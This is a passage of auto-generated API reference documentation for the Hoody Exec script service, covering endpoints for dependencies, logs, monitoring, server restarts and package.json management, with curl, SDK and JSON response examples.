| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements; ensure `hostname` is present |


```json
{
  "error": "Failed to clear shared state",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:42:13.214Z",
  "details": {
    "reason": "storage backend unavailable"
  }
}
```




The `clearAll` flag is destructive and irreversible. It removes **every** shared state entry for the given hostname, including entries written by other scripts.

---

# Dependency Management

**Page:** api/exec/dependencies

[Download Raw Markdown](./api/exec/dependencies.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Dependency Management

The Dependency Management API lets you inspect which npm packages ship with the Hoody execution environment, audit a script's `require`/`import` statements against that manifest, and install additional modules on demand. Use these endpoints to bootstrap scripts that rely on third-party libraries or to verify coverage before running untrusted code.

## List Bundled Dependencies

### `GET /api/v1/exec/dependencies/bundled`

Returns the full catalog of npm modules that are pre-installed in the execution environment, along with an aggregate availability flag.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/exec/dependencies/bundled" \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.exec.dependencies.listBundled();
```


```json
{
  "total": 42,
  "packages": ["lodash", "axios", "dayjs", "uuid"],
  "allAvailable": true
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```



## Check Dependencies

### `POST /api/v1/exec/dependencies/check`

Parses the supplied source code (or an explicit list of module specifiers) and reports which referenced modules are already bundled and which are missing. No modules are installed.

This endpoint takes no path, query, or header parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | No | Source code to scan for `require`/`import` references |
| `modules` | string | No | Explicit module specifier or comma-separated list to check |



```bash
curl -X POST "https://api.hoody.com/api/v1/exec/dependencies/check" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "const axios = require(\"axios\");\nconst _ = require(\"lodash\");"
  }'
```


```ts
const result = await client.exec.dependencies.check({
  code: "const axios = require(\"axios\");\nconst _ = require(\"lodash\");"
});
```


```json
{
  "total": 2,
  "installed": ["axios"],
  "missing": ["lodash"],
  "message": "1 module(s) missing"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```




  The 200 response is polymorphic. When the request was inferred from `code`, the response includes a human-readable `message` field. When the request was an explicit list of `modules`, the response includes a `details` array with per-module information.


## Install Dependencies

### `POST /api/v1/exec/dependencies/install`

Installs one or more npm modules into the execution environment. Modules that are already present are reported as such unless `force` is set to `true`.

This endpoint takes no path, query, or header parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `modules` | string \| string[] | Yes | One npm module spec (e.g. `"lodash"`, `"axios@1.2.3"`) or an array of specs. Array form installs every module in sequence. |
| `force` | boolean | No | When `true`, reinstall modules that are already present instead of reporting them as `already-installed`. Default: `false`. |



```bash
curl -X POST "https://api.hoody.com/api/v1/exec/dependencies/install" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "modules": ["lodash", "axios@1.6.0"],
    "force": false
  }'
```


```ts
const result = await client.exec.dependencies.install({
  modules: ["lodash", "axios@1.6.0"],
  force: false
});
```


```json
{
  "total": 2,
  "installed": 2,
  "failed": 0,
  "installedModules": ["lodash", "axios@1.6.0"],
  "failedModules": [],
  "details": [
    { "module": "lodash", "status": "installed", "version": "4.17.21" },
    { "module": "axios@1.6.0", "status": "installed", "version": "1.6.0" }
  ]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:00:00.000Z"
}
```




  Installed modules persist for the lifetime of the execution environment. If a module is already present and `force` is `false`, it is included in `installedModules` with a status of `already-installed` and is not reinstalled.

---

# Hoody Exec

**Page:** api/exec/index

[Download Raw Markdown](./api/exec/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody Exec

The Hoody Exec service lets you run JavaScript and TypeScript scripts as serverless HTTP endpoints, without managing infrastructure. Scripts are deployed, versioned, and exposed through a URL-based routing system that supports both individual scripts and dynamic path parameters. The Exec service covers the full lifecycle: writing and organizing scripts, generating code with AI, managing dependencies, validating correctness, monitoring performance, and inspecting logs.


  
    Execute deployed scripts as HTTP endpoints with support for `GET`, `POST`, `PUT`, `DELETE`, and other methods. Handles path parameters, query strings, and request bodies.
    [Read more →](/api/exec/script-execution/)
  
  
    Read, write, delete, and organize scripts. Supports multi-file scripts with shared modules and bulk operations across workspaces.
    [Read more →](/api/exec/script-management/)
  
  
    Browse a library of pre-built script templates. Preview template code and generate new scripts from a template ID.
    [Read more →](/api/exec/templates/)
  
  
    Parse natural-language directives into structured code operations and generate script code using AI-powered endpoints.
    [Read more →](/api/exec/ai-generation/)
  
  
    Check which npm packages a script depends on and install missing dependencies into the runtime environment.
    [Read more →](/api/exec/dependencies/)
  
  
    Read and update `package.json` files to add, remove, or modify dependencies for scripts and projects.
    [Read more →](/api/exec/package-management/)
  
  
    Clear the execution cache and manage shared key-value state available across script invocations.
    [Read more →](/api/exec/cache-state/)
  
  
    Resolve which script handles a given URL, discover all registered routes, and test route resolution before deployment.
    [Read more →](/api/exec/routing/)
  
  
    Validate TypeScript, check for syntax errors, and verify that all imports and dependencies resolve correctly.
    [Read more →](/api/exec/validation/)
  
  
    List, read, stream, search, and clear execution logs. Filter logs by script, time range, or log level.
    [Read more →](/api/exec/logs/)
  
  
    Monitor execution statistics, track resource usage, and check the health and status of the Exec runtime.
    [Read more →](/api/exec/monitoring/)
  


### When to use Exec

Use the Exec service when you need to:

- **Deploy serverless endpoints** backed by custom code without provisioning servers.
- **Prototype quickly** by writing a script and exposing it at a URL in seconds.
- **Automate workflows** that respond to HTTP requests, webhooks, or scheduled triggers.
- **Integrate with external APIs** using custom authentication, transformation, or aggregation logic.
- **Run untrusted or user-supplied code** in a managed runtime with built-in validation and logging.


All Exec endpoints require authentication. See the [Authentication guide](/api/authentication/) for details on obtaining and using API tokens.

---

# Log Management

**Page:** api/exec/logs

[Download Raw Markdown](./api/exec/logs.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Log Management

The Log Management API provides endpoints to list, read, stream, search, and clear execution logs produced by Hoody agents. Use these endpoints to inspect agent output, tail logs in real time, query historical log files, and reclaim storage by removing old entries.

## List Logs

`GET /api/v1/exec/logs/list`

Returns the available log files or entries. Supports optional filtering by log type and result count.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `type` | query | string | No | Type query parameter |
| `limit` | query | string | No | Limit query parameter |

### Request Example

This endpoint accepts no request body.

### Response



```json
{
  "logs": [
    "exec-2025-01-15-001.log",
    "exec-2025-01-15-002.log",
    "exec-2025-01-15-003.log"
  ],
  "count": 3
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```



### SDK Usage

```ts
const result = await client.exec.logs.list({
  type: "execution",
  limit: "50"
});
```

## Stream Logs

`GET /api/v1/exec/logs/stream`

Streams the contents of a log file, optionally following new lines as they are written (similar to `tail -f`).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `file` | query | string | Yes | File query parameter |
| `follow` | query | string | No | Follow query parameter |

### Request Example

This endpoint accepts no request body.

### Response



```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```



### SDK Usage

```ts
const stream = await client.exec.logs.stream({
  file: "exec-2025-01-15-001.log",
  follow: "true"
});
```

## Read Log

`POST /api/v1/exec/logs/read`

Reads lines from a log file with support for tailing, line limits, and text search.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `file` | string | No | — | File |
| `executionId` | string | No | — | Execution Id |
| `lines` | integer | No | `100` | Lines |
| `tail` | boolean | No | `true` | Tail |
| `search` | string | No | — | Search |

```json
{
  "file": "exec-2025-01-15-001.log",
  "executionId": "exec_8f3a2b1c9d4e5f6a",
  "lines": 200,
  "tail": true,
  "search": "ERROR"
}
```

### Response



```json
{
  "file": "exec-2025-01-15-001.log",
  "totalLines": 1024,
  "filteredLines": 12,
  "returnedLines": 12,
  "lines": [
    "2025-01-15T14:00:01.000Z [ERROR] Connection refused to upstream service",
    "2025-01-15T14:00:02.140Z [ERROR] Retry attempt 1 failed",
    "2025-01-15T14:00:03.512Z [ERROR] Retry attempt 2 failed"
  ],
  "size": 1048576,
  "modified": "2025-01-15T14:30:00.000Z"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```



### SDK Usage

```ts
const log = await client.exec.logs.read({
  file: "exec-2025-01-15-001.log",
  lines: 200,
  tail: true,
  search: "ERROR"
});
```

## Search Logs

`POST /api/v1/exec/logs/search`

Searches across one or more log files using either a plain-text query or a regular expression.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `query` | string | No | — | Query |
| `regex` | string | No | — | Regex |
| `files` | array | No | — | Files |
| `limit` | integer | No | `1000` | Limit |
| `caseSensitive` | boolean | No | `false` | Case Sensitive |

```json
{
  "query": "timeout",
  "files": ["exec-2025-01-15-001.log", "exec-2025-01-15-002.log"],
  "limit": 500,
  "caseSensitive": false
}
```

### Response



```json
{
  "query": "timeout",
  "searchType": "text",
  "filesSearched": 2,
  "matchesFound": 7,
  "results": [
    {
      "file": "exec-2025-01-15-001.log",
      "line": 142,
      "content": "2025-01-15T13:42:18.221Z [WARN] Request timeout after 30s",
      "timestamp": "2025-01-15T13:42:18.221Z"
    }
  ]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```



### SDK Usage

```ts
const matches = await client.exec.logs.search({
  query: "timeout",
  files: ["exec-2025-01-15-001.log", "exec-2025-01-15-002.log"],
  limit: 500,
  caseSensitive: false
});
```

## Clear Logs

`DELETE /api/v1/exec/logs/clear`

Deletes log files. Supports targeting a single file, filtering by type, removing entries older than a specified number of days, and requires an explicit confirmation flag.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `file` | query | string | No | File query parameter |
| `type` | query | string | No | Type query parameter |
| `olderThanDays` | query | string | No | OlderThanDays query parameter |
| `confirm` | query | string | No | Confirm query parameter |

### Request Example

This endpoint accepts no request body.

### Response



```json
{
  "deleted": 14,
  "totalSize": 15728640,
  "message": "Successfully deleted 14 log files (15.73 MB)"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T14:32:11.482Z"
}
```



### SDK Usage

```ts
const result = await client.exec.logs.clear({
  olderThanDays: "30",
  confirm: "true"
});
```


The clear operation permanently removes log files. The `confirm` parameter should be set to `"true"` to acknowledge destructive intent and prevent accidental data loss.

---

# Monitoring & Performance

**Page:** api/exec/monitoring

[Download Raw Markdown](./api/exec/monitoring.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The exec service provides endpoints for runtime health checks, performance monitoring, active request inspection, Prometheus metrics export, and graceful server restarts. Use these endpoints from your dashboards, alerting pipelines, and control-plane tooling to observe and manage a running exec instance.

## Health

### `GET /api/v1/exec/health`

Returns process-level health and metadata for the exec service, including build timestamp, process start time, resident memory, file descriptor count, process ID, peer IP, and the incoming `User-Agent` header.

This endpoint takes no parameters.




```bash
curl -X GET "https://exec.example.com/api/v1/exec/health"
```




```typescript
await client.exec.health.check();
```




**Response**




```json
{
  "status": "ok",
  "service": "hoody-exec",
  "built": "2026-01-10T08:00:00.000Z",
  "started": "2026-01-15T00:00:00.000Z",
  "memory": {
    "rss": 178257920,
    "heap": 134217728
  },
  "fds": 42,
  "pid": 1234,
  "ip": "203.0.113.42",
  "userAgent": "curl/8.5.0"
}
```




```json
{
  "error": "Invalid request parameters",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "header",
    "reason": "missing or invalid header value"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "reason": "health probe failed"
  }
}
```





The `ip` field reflects the socket peer IP (TPROXY), **not** the `X-Forwarded-For` header. The `fds` field is `null` on non-Linux platforms because it is read from `/proc/self/fd`.


## Performance Monitoring

### `GET /api/v1/exec/monitor/stats`

Returns process-wide counters: uptime, memory usage, cache sizes, request totals, WebSocket lifecycle counters, cron fire counts, and the count of dropped per-script metrics entries.

This endpoint takes no parameters.




```bash
curl -X GET "https://exec.example.com/api/v1/exec/monitor/stats"
```




```typescript
await client.exec.monitor.getStats();
```




**Response**




```json
{
  "uptime": 86400,
  "memory": {
    "used": 134217728,
    "total": 268435456,
    "percentage": 50.0,
    "rss": 178257920,
    "external": 4194304
  },
  "cache": {
    "scripts": 12,
    "vms": 8,
    "sharedStates": 3,
    "activeWsHostnames": 2
  },
  "requests": {
    "total": 12453,
    "success": 12380,
    "errors": 73,
    "activeHttp": 2,
    "perSecond": 0.144,
    "per1m": 0.5,
    "per5m": 0.3,
    "per15m": 0.25
  },
  "websocket": {
    "opened": 87,
    "closed": 85,
    "active": 2,
    "normalCloses": 84,
    "abnormalCloses": 1
  },
  "cron": {
    "fires": 120,
    "errors": 2,
    "active": 0,
    "wrapperActive": 0
  },
  "droppedScripts": 0,
  "sinceMs": 1736899200000
}
```




```json
{
  "error": "Invalid request parameters",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "query",
    "reason": "unexpected parameter"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```





The `perSecond` field is the **lifetime** average req/s, not a windowed value. Use `per1m`, `per5m`, or `per15m` for rolling averages. A non-zero `droppedScripts` indicates the per-script LRU map is full and entries are being discarded.


### `GET /api/v1/exec/monitor/scripts`

Lists all scripts tracked by the in-memory metrics registry, including HTTP/WS aggregate stats, recent errors, and lifecycle timestamps. Supports pagination via `limit` and ordering via `sort`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `limit` | query | integer | No | Max number of scripts to return. Clamped to `[1, 500]`. Default: `100`. |
| `sort` | query | string | No | Sort key. `lastActivity` (default) sorts by most recent activity; other keys sort descending by the matching metric. Accepted values: `lastActivity`, `requests`, `errors`, `p95`, `ws_active`. Default: `"lastActivity"`. |




```bash
curl -X GET "https://exec.example.com/api/v1/exec/monitor/scripts?limit=50&sort=p95"
```




```typescript
await client.exec.monitor.listMonitorScripts({
  limit: 50,
  sort: "p95"
});
```




**Response**




```json
{
  "count": 1,
  "total": 1,
  "scripts": [
    {
      "scriptPath": "/api/hello",
      "hostname": "host-1",
      "vmCached": true,
      "sharedStateBytes": 1024,
      "activeHttp": 0,
      "activeWs": 2,
      "concurrentRunning": 1,
      "http": {
        "total": 1523,
        "success": 1510,
        "errors": 13,
        "meanDurationMs": 12.4,
        "p50DurationMs": 8.1,
        "p95DurationMs": 45.2,
        "maxDurationMs": 312.7
      },
      "ws": {
        "opened": 87,
        "closed": 85,
        "normalCloses": 84,
        "abnormalCloses": 1,
        "meanSessionMs": 12345,
        "maxSessionMs": 67890
      },
      "recentErrors": [
        {
          "timestamp": "2026-01-15T10:25:00.000Z",
          "statusCode": 500,
          "message": "Unhandled exception in handler",
          "executionId": "exec_01HABCDEF1234567890ABCDEF"
        }
      ],
      "firstSeenAt": "2026-01-10T08:00:00.000Z",
      "lastActivityAt": "2026-01-15T10:30:00.000Z"
    }
  ]
}
```




```json
{
  "error": "Invalid query parameter",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "limit",
    "reason": "must be between 1 and 500"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```





`recentErrors[].message` may contain user-controlled content. The server sanitizes each entry to a single line capped at 256 code points, but downstream UIs should still treat the field as untrusted.


### `POST /api/v1/exec/monitor/script-performance`

Returns detailed lifetime metrics for a single tracked script, including per-script HTTP and WebSocket aggregates and a recent-duration sample array. The endpoint accepts an optional JSON body and returns an empty `metrics` object when no `scriptPath` is provided or the script is not tracked.

This endpoint takes no parameters.

**Request Body**

The request body is optional. The schema is empty `{}`; pass a payload to refine the response (the exact fields are not part of the public schema).




```bash
curl -X POST "https://exec.example.com/api/v1/exec/monitor/script-performance" \
  -H "Content-Type: application/json" \
  -d '{}'
```




```typescript
await client.exec.monitor.getScriptPerformance({});
```




**Response**




```json
{
  "metrics": {
    "scriptPath": "/api/hello",
    "period": "lifetime",
    "http": {
      "total": 1523,
      "success": 1510,
      "errors": 13,
      "meanDurationMs": 12.4,
      "p50DurationMs": 8.1,
      "p95DurationMs": 45.2,
      "maxDurationMs": 312.7,
      "recentDurationsMs": [10, 12, 8, 45, 312, 9, 11, 7]
    },
    "ws": {
      "opened": 87,
      "closed": 85,
      "normalCloses": 84,
      "abnormalCloses": 1,
      "meanSessionMs": 12345,
      "maxSessionMs": 67890
    },
    "activeHttp": 0,
    "activeWs": 2,
    "firstSeenAt": "2026-01-10T08:00:00.000Z",
    "lastActivityAt": "2026-01-15T10:30:00.000Z"
  }
}
```




```json
{
  "error": "Invalid request body",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "body",
    "reason": "malformed JSON"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```




### `GET /api/v1/exec/monitor/metrics`

Exposes runtime metrics in Prometheus 0.0.4 text exposition format, including per-script and global HTTP histograms, WebSocket connection gauges, error counters, and `process_start_time_seconds`.

This endpoint takes no parameters.




```bash
curl -X GET "https://exec.example.com/api/v1/exec/monitor/metrics"
```




```typescript
await client.exec.monitor.prometheusExport();
```




**Response**




```
# HELP hoody_exec_http_requests_total Total HTTP requests served by scripts
# TYPE hoody_exec_http_requests_total counter
hoody_exec_http_requests_total{script="/api/hello",method="GET"} 1523
hoody_exec_http_requests_total{script="/api/echo",method="POST"} 421

# HELP hoody_exec_http_errors_total Total HTTP errors served by scripts
# TYPE hoody_exec_http_errors_total counter
hoody_exec_http_errors_total{script="/api/hello",status="500"} 13

# HELP hoody_exec_http_duration_ms HTTP request duration in milliseconds (per-script histogram)
# TYPE hoody_exec_http_duration_ms histogram
hoody_exec_http_duration_ms_bucket{script="/api/hello",le="50"} 1480
hoody_exec_http_duration_ms_bucket{script="/api/hello",le="100"} 1510
hoody_exec_http_duration_ms_bucket{script="/api/hello",le="+Inf"} 1523
hoody_exec_http_duration_ms_count{script="/api/hello"} 1523
hoody_exec_http_duration_ms_sum{script="/api/hello"} 18855.2

# HELP hoody_exec_ws_connections_active Currently open WebSocket connections
# TYPE hoody_exec_ws_connections_active gauge
hoody_exec_ws_connections_active{script="/api/ws"} 2

# HELP process_start_time_seconds Start time of the process since unix epoch in seconds
# TYPE process_start_time_seconds gauge
process_start_time_seconds 1736899200
```




```json
{
  "error": "Invalid request parameters",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "header",
    "reason": "invalid Accept header"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```
# Prometheus exporter disabled (--prometheus off)
```




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```





A 404 indicates the Prometheus exporter is disabled. Start the exec server **without** `--prometheus off` (the flag's default is on) to re-enable the `/api/v1/exec/monitor/metrics` endpoint.


## Active Requests

### `GET /api/v1/exec/monitor/active-requests`

Returns the list of in-flight script HTTP requests currently being handled, including execution ID, script path, method, URL (with tokens redacted), start time, and elapsed duration in milliseconds.

This endpoint takes no parameters.




```bash
curl -X GET "https://exec.example.com/api/v1/exec/monitor/active-requests"
```




```typescript
await client.exec.monitor.getActiveRequests();
```




**Response**




```json
{
  "count": 2,
  "active": [
    {
      "executionId": "exec_01HABCDEF1234567890ABCDEF",
      "scriptPath": "/api/hello",
      "hostname": "host-1",
      "clientIp": "203.0.113.42",
      "method": "GET",
      "url": "/api/hello?token=***",
      "startedAt": "2026-01-15T10:30:00.000Z",
      "duration": 125
    },
    {
      "executionId": "exec_01HIJKLMN1234567890ABCDEF",
      "scriptPath": "/api/echo",
      "hostname": "host-1",
      "clientIp": "198.51.100.7",
      "method": "POST",
      "url": "/api/echo",
      "startedAt": "2026-01-15T10:30:02.000Z",
      "duration": 42
    }
  ]
}
```




```json
{
  "error": "Invalid request parameters",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "query",
    "reason": "unexpected parameter"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```





Tokens inside the request URL are redacted server-side; never rely on the client to scrub them before reaching the exec service.


## System Management

### `GET /api/v1/exec/system/restart-status`

Reports whether the server can be safely restarted right now. Returns current uptime, the count of in-flight script requests, and a `restartReady` flag derived from those inputs.

This endpoint takes no parameters.




```bash
curl -X GET "https://exec.example.com/api/v1/exec/system/restart-status"
```




```typescript
await client.exec.system.getRestartStatus();
```




**Response**




```json
{
  "canRestart": true,
  "uptime": 86400,
  "uptimeFormatted": "1d 0h 0m",
  "activeRequests": 0,
  "active": [],
  "restartReady": true
}
```




```json
{
  "error": "Invalid request parameters",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "query",
    "reason": "unexpected parameter"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z"
}
```




### `POST /api/v1/exec/system/restart`

Triggers a server restart. In graceful mode the server drains in-flight requests up to `drainTimeoutMs` before exiting; the non-graceful path performs an immediate restart.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `graceful` | boolean | No | `true` | Drain in-flight requests before restarting. |
| `drainTimeoutMs` | integer | No | `5000` | Maximum time in milliseconds to wait for in-flight requests to complete during a graceful restart. |
| `reason` | string | No | `"API restart request"` | Free-form reason recorded in server logs. |




```bash
curl -X POST "https://exec.example.com/api/v1/exec/system/restart" \
  -H "Content-Type: application/json" \
  -d '{
    "graceful": true,
    "drainTimeoutMs": 10000,
    "reason": "deploying v1.2.3"
  }'
```




```typescript
await client.exec.system.restartServer({
  graceful: true,
  drainTimeoutMs: 10000,
  reason: "deploying v1.2.3"
});
```




**Response**




```json
{
  "error": "Invalid restart options",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "field": "drainTimeoutMs",
    "reason": "must be a positive integer"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T10:30:00.000Z",
  "details": {
    "reason": "restart handler unavailable"
  }
}
```





Call `GET /api/v1/exec/system/restart-status` first to confirm `restartReady` is `true`. Issuing a graceful restart while active requests are still in flight will block on the drain until `drainTimeoutMs` elapses.

---

# Package Management

**Page:** api/exec/package-management

[Download Raw Markdown](./api/exec/package-management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Package Management

The Package Management API provides programmatic access to the `package.json` lifecycle within an Exec project. Use these endpoints to read, initialize, update, compare, install, and pin dependency versions, enabling automation of dependency management without manual file editing.

---

### `GET /api/v1/exec/package/read`

Reads the current `package.json` file, returning its raw content along with parsed `dependencies`, `devDependencies`, and `scripts` blocks and their respective counts.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/exec/package/read \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.exec.package.readJson();
```


```json
{
  "path": "/projects/hoody-exec/package.json",
  "content": {
    "name": "hoody-exec-project",
    "version": "1.0.0",
    "description": "Hoody Exec project",
    "main": "src/index.ts"
  },
  "dependencies": {
    "hono": "^4.0.0",
    "zod": "^3.22.0"
  },
  "devDependencies": {
    "typescript": "^5.3.0",
    "bun-types": "^1.0.0"
  },
  "scripts": {
    "start": "bun src/index.ts",
    "build": "bun build src/index.ts"
  },
  "dependencyCount": 2,
  "devDependencyCount": 2
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "field": "path",
    "reason": "Invalid path format"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "resource": "package.json"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```



---

### `POST /api/v1/exec/package/init`

Initializes a new `package.json` in the current Exec project directory. By default, the file is created with sensible Hoody Exec defaults. Set `force: true` to overwrite an existing `package.json`.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `name` | string | No | `"hoody-exec-project"` | Name of the package |
| `version` | string | No | `"1.0.0"` | Initial version string |
